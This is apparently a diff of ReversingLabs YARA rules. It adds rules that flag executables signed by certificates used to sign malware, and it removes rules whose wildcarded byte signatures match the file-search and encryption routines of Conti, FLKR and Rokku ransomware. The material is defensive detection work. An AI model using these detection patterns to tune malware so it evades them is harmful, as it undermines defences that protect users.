"6dd35efb-daea-5668-a01d-f5b80371b04c" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15666-L15682" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "8c96fbd10672b0b258a80f3abaf0320540c5ff0a4636f011cfe7cfa8ccc482d0" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "IBM" and pe.signatures [ i ] . serial == "30:76:42:e1:f3:a9:2c:6c:c2:e7:fb:6e:18:f2:dd:cb" and 1500422400 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_52379131A1C69263C795A7D398Db0997 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "478994c1-c1c4-5f11-b78f-fe237b687bef" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15684-L15700" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "245e994024e08add755ec704b895286c115ac00eb5aeecde98fce96f35f6e9e0" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "52:37:91:31:a1:c6:92:63:c7:95:a7:d3:98:db:09:97" and 1476748800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_44312Cb9A927B4111360762B4D4Bdd6D : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "9bc1a8f4-36b7-52bd-9a65-fcd8ec2acf92" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15702-L15718" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "8e34636ed815812af478dd01eacd5298fa2cfeb420ee2f45e055f557534cae71" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BEAR ADAMS CONSULTING LIMITED" and pe.signatures [ i ] . serial == "44:31:2c:b9:a9:27:b4:11:13:60:76:2b:4d:4b:dd:6d" and 1554768000 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_123A5074069162F4Ed68Fc7D48F464C2 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "601ddd98-8cd5-5c52-a59a-d4a0556fc316" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15720-L15736" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "f55835c7404edab96bc5c8fe3844f3380f1f6bc8b43da1d51213de899629e8f5" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "12:3a:50:74:06:91:62:f4:ed:68:fc:7d:48:f4:64:c2" and 1472428800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_64Eb04B8Def382B5Efa75F63E0E85Ad0 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "5f4da614-3bc8-5ae8-b04b-e4b3972522ff" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15738-L15754" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "03adb8a9bf2a8f0633b34d5c39816b47e60b9e598208f7de79ad9d9a7ab8cc5e" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TOV \"MARIYA\"" and pe.signatures [ i ] . serial == "64:eb:04:b8:de:f3:82:b5:ef:a7:5f:63:e0:e8:5a:d0" and 1535587200 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_76D8D908Eed2F9857Dc5676A680Ceac9 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "f7eae73e-6b12-5507-846e-d3b409243adf" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15756-L15772" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "87f9930967d5832d3003672eeb89669b54feed1ca2ea5eec478c50e3cb7a7571" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "76:d8:d9:08:ee:d2:f9:85:7d:c5:67:6a:68:0c:ea:c9" and 1467158400 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_083E3F : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "548b8836-83cb-560c-af5f-33bdb24d15ed" - date = "2020-12-14" - modified = "2020-12-14" + id = "b9a1b1a7-2333-5a6f-85c9-6c19d34c4aa4" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Conti.yara#L1-L74" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15774-L15790" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4f2b96c8eaf8d112a7bb60647db49616935a336396c705d39d5bb51dfd90c60b" + logic_hash = "6977d48a2e31235d780cba1b84b39a90e409ee8ea5555e01cbc34989ecd3882d" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Conti" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 8B D9 53 FF 15 ?? ?? ?? ?? 89 44 24 ?? - 8D 0C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 44 - 24 ?? B9 ?? ?? ?? ?? 53 BE ?? ?? ?? ?? 57 66 83 7C 43 ?? ?? 0F 45 F1 FF 15 ?? ?? ?? - ?? 56 57 FF 15 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ?? - 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? - ?? ?? ?? F6 44 24 ?? ?? 74 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 54 24 ?? 8B - CB E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 8B CE E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? EB ?? - 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 54 24 ?? 8B CB E8 ?? ?? ?? ?? 8B F0 85 F6 - 74 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 5A 8B C8 C6 01 ?? 41 - 83 EA ?? 75 ?? 83 48 ?? ?? 50 89 70 ?? A1 ?? ?? ?? ?? 52 6A ?? FF 70 ?? FF 15 ?? ?? - ?? ?? 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? E8 ?? - ?? ?? ?? 83 FF ?? 74 ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 - } - $encrypt_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 BB ?? ?? ?? ?? 8B F9 53 57 FF 15 ?? ?? ?? ?? 85 - C0 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - A1 ?? ?? ?? ?? 83 F8 ?? 75 ?? 89 75 ?? 33 F6 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? FF 74 B5 ?? 57 FF 15 ?? ?? ?? - ?? 85 C0 75 ?? 46 83 FE ?? 7C ?? 33 C0 40 EB ?? 85 C0 75 ?? 8B 35 ?? ?? ?? ?? BB ?? - ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 00 ?? 40 83 E9 ?? 75 ?? 53 56 FF 15 ?? - ?? ?? ?? 85 C0 74 ?? 2B C6 D1 F8 74 ?? 85 C0 78 ?? 40 50 56 8D 85 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 53 56 FF 15 ?? - ?? ?? ?? 8B F0 85 F6 74 ?? 83 C6 ?? EB ?? 33 C0 5F 5E 5B C9 C3 - } - $encrypt_files_p2 = { - 55 8B EC 83 EC ?? 53 56 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 DB 53 FF 15 ?? ?? - ?? ?? 8B F8 85 FF 75 ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5E 56 68 ?? ?? ?? - ?? 53 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 - 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 8D 45 - ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 8D 45 ?? 50 - FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 53 53 68 ?? ?? ?? - ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 6A - ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 8B 45 ?? FF 70 ?? FF 15 ?? ?? ?? ?? 85 C0 75 - ?? 6A ?? FF 15 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 8B 4D ?? - 8B D7 FF 75 ?? E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8B 45 ?? FF 70 ?? FF 15 ?? ?? ?? ?? - 8B 45 ?? B9 ?? ?? ?? ?? 83 48 ?? ?? 8B 45 ?? 8B 58 ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74 - ?? 53 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? - ?? 8B CE E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 49 ?? E8 ?? ?? ?? ?? FF - 75 ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? FF - 75 ?? FF 15 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B C9 C2 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Telefonicasa" and pe.signatures [ i ] . serial == "08:3e:3f" and 999002664 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_FLKR : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_79227311Acdd575759198Dbd3544Cca7 : INFO FILE { meta: - description = "Yara rule that detects FLKR ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7f3abcd0-8dfa-5914-9ad0-566c16c2e2ab" - date = "2020-06-26" - modified = "2020-07-15" + id = "350f7c25-f20f-5e8f-aa52-163cf3de3be1" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.FLKR.yara#L1-L71" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15792-L15808" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4ab00ba82baceec9899556d3a774ec08c83c10930cec194e18e3b4e16ebacb58" + logic_hash = "73e920d51faf7150329ce189d1693c29a2285a02d54fee27e5af5afe3238295b" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "FLKR" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $search_and_encrypt_p1 = { - 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 56 57 8B BC 24 ?? - ?? ?? ?? 57 89 7C 24 ?? FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 89 44 - 24 ?? FF D5 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? - ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 51 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 8D 54 24 ?? 52 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 8D 4C 24 ?? 51 - 57 C6 04 07 ?? FF D5 F6 44 24 ?? ?? 0F 84 ?? ?? ?? ?? 8D 5C 24 ?? E8 ?? ?? ?? ?? 84 - C0 0F 85 ?? ?? ?? ?? 8A 0F 33 D2 84 C9 74 ?? BE ?? ?? ?? ?? 8B C7 2B F7 88 0C 06 8A - 48 ?? 40 42 84 C9 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 82 ?? ?? ?? ?? ?? C6 82 ?? - ?? ?? ?? ?? FF D5 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 - 74 ?? 56 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 - ?? 68 ?? ?? ?? ?? 57 FF D5 57 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 38 44 24 ?? 74 - } - $search_and_encrypt_p2 = { - 40 80 7C 04 ?? ?? 75 ?? 8A 4C 04 ?? 80 F9 ?? 75 ?? 80 7C 04 ?? ?? 75 ?? 80 7C 04 ?? - ?? 75 ?? 80 7C 04 ?? ?? 74 ?? 80 F9 ?? 75 ?? B3 ?? 38 5C 04 ?? 75 ?? 80 7C 04 ?? ?? - 75 ?? 80 7C 04 ?? ?? 75 ?? 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 05 ?? ?? ?? ?? E9 ?? - ?? ?? ?? FF 05 ?? ?? ?? ?? E9 ?? ?? ?? ?? B3 ?? B2 ?? 80 F9 ?? 75 ?? 38 5C 04 ?? 75 - ?? 80 7C 04 ?? ?? 75 ?? 38 5C 04 ?? 75 ?? 32 D2 80 F9 ?? 75 ?? 80 7C 04 ?? ?? 75 ?? - 80 7C 04 ?? ?? 75 ?? 80 7C 04 ?? ?? 75 ?? 32 D2 80 F9 ?? 75 ?? 80 7C 04 ?? ?? 75 ?? - 80 7C 04 ?? ?? 75 ?? 80 7C 04 ?? ?? 0F 84 ?? ?? ?? ?? 84 D2 0F 84 ?? ?? ?? ?? 8A 0F - 33 D2 84 C9 74 ?? 8D B4 24 ?? ?? ?? ?? 8B C7 2B F7 8D A4 24 ?? ?? ?? ?? 88 0C 06 8A - 48 ?? 40 42 84 C9 75 ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 0F B6 - 05 ?? ?? ?? ?? C6 84 14 ?? ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 8B 15 - ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? 33 C0 6A ?? 89 8C 24 ?? ?? ?? ?? 89 94 24 ?? ?? ?? - ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 68 ?? ?? ?? ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 0D ?? - ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B E8 A1 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 8B 0D ?? ?? ?? - ?? 89 84 24 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? - ?? 89 8C 24 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 8D 74 24 ?? 89 6C 24 ?? 66 89 - } - $search_and_encrypt_p3 = { - 94 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 51 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? - 52 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 - E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 56 - 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 - 8D 84 24 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A - ?? 51 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 - ?? 56 E8 ?? ?? ?? ?? 8B 7C 24 ?? 83 C4 ?? FF 05 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 - FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 2B F0 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 03 - C6 50 8D 8C 24 ?? ?? ?? ?? 51 8B D1 52 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 85 C0 75 ?? FF 05 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 55 E8 ?? ?? - ?? ?? 8B 2D ?? ?? ?? ?? 83 C4 ?? 8B 74 24 ?? 8D 4C 24 ?? 51 56 FF 15 ?? ?? ?? ?? 85 - C0 0F 85 ?? ?? ?? ?? 56 FF 15 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $search_and_encrypt_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "79:22:73:11:ac:dd:57:57:59:19:8d:bd:35:44:cc:a7" and 1478131200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Rokku : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_13Ae38C9Ae21A8576C0D024D : INFO FILE { meta: - description = "Yara rule that detects Rokku ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8722ed4a-b480-57ec-bba7-ce7d0f3704b9" - date = "2020-06-26" - modified = "2020-07-15" + id = "416c5eb3-bc6d-5fb0-a7fe-58cdd6c7c39d" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Rokku.yara#L1-L147" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15810-L15826" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fefb342f8a9afac3b40c343b830f334225ff4198d55504846aa855acf5dfc9ba" + logic_hash = "7be892eaf9e2e31442f7ef5ffd296dd17696d6c95d20eb2758ede2c553b05f38" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Rokku" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 8B E9 C7 44 24 ?? ?? ?? ?? ?? 33 DB 89 6C 24 ?? - 56 0F 57 C0 66 C7 44 24 ?? ?? ?? 57 66 0F 13 44 24 ?? B2 ?? 88 5C 24 ?? 8B CB 8A C1 - 02 C2 30 44 0C ?? 41 83 F9 ?? 73 ?? 8A 54 24 ?? EB ?? 8B CD 88 5C 24 ?? E8 ?? ?? ?? - ?? 8D 54 24 ?? 8B C8 E8 ?? ?? ?? ?? 85 C0 75 ?? 40 E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 51 BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B D6 E8 ?? ?? ?? ?? 59 56 BE - ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8D 4C 24 ?? 6A - ?? 8B D5 E8 ?? ?? ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B C1 8B 94 24 ?? ?? ?? ?? 0B C2 0F 84 ?? - ?? ?? ?? 6A ?? 5D 3B D3 77 ?? 81 F9 ?? ?? ?? ?? 76 ?? 2B CD 1B D3 52 51 55 8D 4C 24 - ?? E8 ?? ?? ?? ?? 83 C4 ?? 3B C5 0F 85 ?? ?? ?? ?? 8B CD 8B C3 8A 90 ?? ?? ?? ?? 49 - 8A B0 ?? ?? ?? ?? 3A D6 75 ?? 40 85 C9 75 ?? 8B CB EB ?? 0F B6 C6 0F B6 CA 2B C8 85 - C9 0F 84 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 8B D6 50 B9 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 88 19 41 83 E8 ?? 75 ?? - 8B 6C 24 ?? 8B 7C 24 ?? 8B 84 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 2B C7 1B CD 3B EB - } - $encrypt_files_p2 = { - 7C ?? 7F ?? 81 FF ?? ?? ?? ?? 72 ?? 8B AC 24 ?? ?? ?? ?? 0F 57 C0 8B BC 24 ?? ?? ?? - ?? 8B 4C 24 ?? 55 57 66 0F 13 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 59 59 8B 4C 24 ?? - 3B CB 77 ?? 3B C3 77 ?? 8B F3 EB ?? 3B CB 77 ?? 72 ?? 3D ?? ?? ?? ?? 72 ?? B8 ?? ?? - ?? ?? 55 57 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 85 F6 0F 88 ?? ?? ?? ?? 74 - ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 56 50 8B D0 E8 ?? ?? ?? ?? 55 57 56 BA ?? ?? ?? ?? - 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 88 ?? ?? ?? ?? 99 03 F8 13 EA E9 ?? ?? - ?? ?? 6A ?? 58 89 1D ?? ?? ?? ?? 83 E8 ?? 75 ?? 8B C7 89 1D ?? ?? ?? ?? 0B C5 BE ?? - ?? ?? ?? 74 ?? 51 8D 54 24 ?? E8 ?? ?? ?? ?? 59 B9 ?? ?? ?? ?? 3B F1 74 ?? 56 51 BA - ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 55 57 BD ?? ?? ?? ?? 8B D1 55 8D 4C 24 ?? E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 0F 88 ?? ?? ?? ?? EB ?? BD ?? ?? ?? ?? 6A ?? 59 8B C1 BA ?? - ?? ?? ?? C6 02 ?? 42 83 E8 ?? 75 ?? B8 ?? ?? ?? ?? C6 00 ?? 40 83 E9 ?? 75 ?? 6A ?? - 58 B9 ?? ?? ?? ?? C6 01 ?? 41 83 E8 ?? 75 ?? C6 06 ?? 46 83 ED ?? 75 ?? 6A ?? 8D 44 - 24 ?? 59 C6 00 ?? 40 83 E9 ?? 75 ?? B1 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? 8B C3 30 4C 04 ?? 40 83 F8 ?? 73 ?? 8A 4C 24 ?? EB ?? 8B 4C 24 ?? 8D 54 24 ?? - 88 5C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? 8B F0 E8 ?? ?? ?? ?? 8B 4C 24 ?? 8B D6 E8 ?? - ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 33 DB 43 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B C3 EB ?? 8D 4C - 24 ?? E8 ?? ?? ?? ?? 33 C0 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 - } - $encrypt_files_p3 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 55 56 57 6A ?? 5E 56 BF ?? ?? ?? ?? 57 FF 15 - ?? ?? ?? ?? 51 BB ?? ?? ?? ?? BD ?? ?? ?? ?? 8B D3 8B CD E8 ?? 